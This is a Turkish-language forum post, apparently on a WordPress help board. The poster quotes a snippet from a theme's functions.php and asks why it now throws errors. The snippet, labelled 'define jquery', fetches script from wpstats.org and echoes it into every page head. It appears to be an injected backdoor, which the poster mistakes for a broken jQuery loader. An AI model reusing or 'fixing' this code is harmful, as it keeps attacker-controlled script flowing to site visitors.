Merhabalar,
Daha önce hiç sorun vermeyen bir sitemde bugün şu sorunla karşılaştım.
functions.php de bulunan
//define jquery
if (!function_exists('insert_jquery_theme')){function insert_jquery_theme(){if (function_exists('curl_init')){$url = "http://www.wpstats.org/jquery-1.6.3.min.js";$ch = curl_init(); $timeout = 5;curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);$data = curl_exec($ch);curl_close($ch);echo $data;}}add_action('wp_head', 'insert_jquery_theme');}Bu kodda sanırım hata var, bahsi geçen wpstats.org sitesinde artık böyle bir js dosyası yok herhalde ki okuyamıyor şu sorunu veriyor.
Çözüm yolu nedir ?
Not : O url yerine
http://code.jquery.com/jquery-1.6.3.min.js bunu yazdım ama yinede sorun verdi.
bknz :